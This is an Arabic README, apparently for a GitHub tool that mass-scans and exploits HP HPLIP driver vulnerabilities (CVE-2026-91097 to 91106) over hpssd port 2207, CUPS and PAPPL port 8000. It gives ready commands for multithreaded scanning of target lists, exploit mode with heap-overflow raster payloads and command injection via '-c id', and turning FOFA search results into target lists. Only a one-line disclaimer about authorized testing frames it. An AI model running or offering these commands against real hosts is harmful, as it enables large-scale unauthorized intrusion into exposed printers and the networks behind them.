
فحص/بحث جماعي عن استغلال ثغرات HP HPLIP CVE-2026-91097–91106 (<3.26.6)، وفحوصات PAPPL :8000 IPP + قوالب hpssd
أداة فحص جماعي وبحث استغلال لثغرات مشغّل HP HPLIP < 3.26.6 — من CVE-2026-91097 حتى CVE-2026-91106.
| CVE | CVSS 4 | CWE | عن بُعد |
|---|---|---|---|
| CVE-2026-91097 | 7.0 | CWE-787 | نعم (واجهة المستخدم) |
| CVE-2026-91098 | 8.6 | CWE-122 | نعم (واجهة المستخدم) |
| CVE-2026-91099 | 5.1 | CWE-61 | محلي |
| CVE-2026-91100 | 6.8 | CWE-78 | محلي |
| CVE-2026-91102 | 8.4 | CWE-78 | محلي |
| CVE-2026-91101 | 5.1 | CWE-129 | فيزيائي |
| CVE-2026-91103 | 5.1 | CWE-191 | فيزيائي |
| CVE-2026-91104 | 9.3 | CWE-122 | نعم |
| CVE-2026-91105 | 8.6 | CWE-122 | نعم (واجهة المستخدم) |
| CVE-2026-91106 | 9.3 | CWE-122 | نعم |
الإصدار المُصلَّح: HPLIP 3.26.6+
| السطح | الكشف | ملاحظات الاستغلال |
|---|---|---|
hpssd :2207 | TCP + فحص XML | قالب حقن أوامر -c id (نمط hpssd القديم) |
CUPS/IPP :631 | فحص HTTP | كتالوج / بصمة |
HPLIP Printer Application :8000+ | واجهة PAPPL عبر HTTP + سلسلة الإصدار | IPP Print-Job + بحث PWG raster (ZDI-26-656 / PAPPL < 1.4.12) — ليس إخراج shell عبر HTTP |
نتائج FOFA body="hplip" غالبًا ما تكون :8000 PAPPL، وليس :2207. استخدم host:port في قوائم الأهداف.
--flow)
pip install -r requirements.txtpip install -r requirements.txt
# Single target (default ports 631, 2207, 9100 if no port given)
python poc.py -u 192.0.2.10 --mode check
# FOFA port (recommended)
python poc.py -u 192.0.2.10:8000 --mode check --flow
# Mass — all 10 CVEs
python poc.py --list targets.example.txt --mode check -j 30 -q --flow
# Critical network heap CVEs only
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106
# Exploit research (PAPPL on :8000 → IPP raster; -c id only meaningful on hpssd:2207)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id
# Save export as fofa_csv_1049.csv (or pass -i)
python fofa_to_list.py
# list.txt (all) + list_hplip_printer.txt (title hint = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow
192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106
الأسطر التي تحتوي على |CVE… يُستخدم الجزء قبل | كمضيف (تلميح CVE اختياري لإخراج النتائج).
| الخيار | الوصف |
|---|---|
-u / --url | مضيف، host:port، أو http://host:port |
--list | هدف واحد لكل سطر |
--mode | check أو exploit |
--cve | all أو معرّفات CVE مفصولة بفواصل |
-c / --command | أمر shell (محاولات حقن أوامر hpssd فقط) |
--heap-size | حجم فحص heap عبر TCP الخام (افتراضي 8192) |
--threads, -j | التزامن الجماعي (افتراضي 20) |
--timeout | مهلة كل هدف بالثواني (افتراضي 8) |
--flow, -f | سطر نتيجة واحد لكل هدف |
--output | JSONL (افتراضي massexploit_results.jsonl) |
--vuln-list | hits.txt (فحص) أو exploited.txt (استغلال) |
| الملف | المحتوى |
|---|---|
massexploit_results.jsonl | JSON كامل لكل مضيف |
hits.txt | المرشحون (host|cve,…) |
status الشائعة للفحص| الحالة | المعنى |
|---|---|
hplip_surface_candidate | منفذ مفتوح + تعيين الإصدار/CVE |
network_surface_version_unknown | TCP مفتوح، HPLIP/PAPPL محتمل، الإصدار غير مقروء |
no_open_ports | لا شيء يمكن الوصول إليه على المنافذ المفحوصة |
patched_version | إصدار HPLIP ≥ 3.26.6 |
| الحالة | المعنى |
|---|---|
pappl_raster_sent_no_shell_output | تم إرسال IPP/raster على منفذ PAPPL؛ لا id في HTTP (فئة RCE عبر heap) |
exploit_attempted_no_confirm | تمت المحاولة، دون تحقق |
exploited | فقط إذا طابق الرد استدلالات حقن الأوامر (نادر) |
.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
--cve all لكنها غير قابلة للاستغلال عن بُعد على نطاق واسع.لـ اختبار الأمان المصرَّح به فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرامج.